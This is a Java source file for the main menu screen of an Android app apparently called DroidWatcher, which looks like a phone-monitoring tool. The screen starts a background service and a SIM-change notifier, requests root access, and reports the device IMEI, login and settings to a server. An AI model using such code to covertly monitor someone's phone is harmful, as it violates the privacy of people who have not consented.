package com.droidwatcher.activity;
import java.util.Calendar;
import org.acra.ACRA;
import com.droidwatcher.R;
import com.droidwatcher.ServerMessanger;
import com.droidwatcher.SettingsManager;
import com.droidwatcher.SimChangeNotify;
import com.droidwatcher.lib.MessageType;
import com.droidwatcher.services.AppService;
import com.droidwatcher.variables.ServerMessage;
import com.stericson.RootTools.RootTools;
import android.app.Activity;
import android.content.Intent;
import android.content.pm.PackageInfo;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.TextView;
public class MainMenuActivity extends Activity {
private SettingsManager settings;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_mainmenu);
// DBManager m = new DBManager(this);
// m.getReadableDatabase().close();
// m.close();
settings = new SettingsManager(this);
renderElements();
new SimChangeNotify(this).start();
if (settings.isConnected()){
startService(new Intent(this, AppService.class));
}
else{
stopService(new Intent(this, AppService.class));
}
if (RootTools.isRootAvailable()) {
RootTools.isAccessGiven();
}
if (AppService.sThreadManager != null) {
SettingsManager settings = new SettingsManager(this);
AppService.sThreadManager.addTask(
new ServerMessanger(
this,
new ServerMessage(MessageType.SETTINGS_SEND, settings.imei(), settings.login())
.addParam("settings", settings.getJSON())
.addParam("date", Calendar.getInstance().getTimeInMillis())
)
);
}
}
@Override
protected void onResume() {
renderElements();
super.onResume();
}
private void renderElements(){
TextView pnText = (TextView)findViewById(R.id.phoneNumberTextField);
pnText.setText(settings.imei());
TextView loginText = (TextView)findViewById(R.id.loginTextField);
loginText.setText(settings.login());
findViewById(R.id.settingsButton).setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(MainMenuActivity.this, MyPreferenceActivity.class));
}
});
findViewById(R.id.filterButton).setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
startActivity(new Intent(MainMenuActivity.this, FilterActivity.class));
}
});
try {
PackageInfo info = getPackageManager().getPackageInfo(getPackageName(), 0);
TextView versionView = (TextView)findViewById(R.id.mainmenu_version);
if (info != null) {
versionView.setText(info.versionName + " (" + info.versionCode + ")");
}
} catch (Exception e) {
ACRA.getErrorReporter().handleSilentException(e);
}
}
}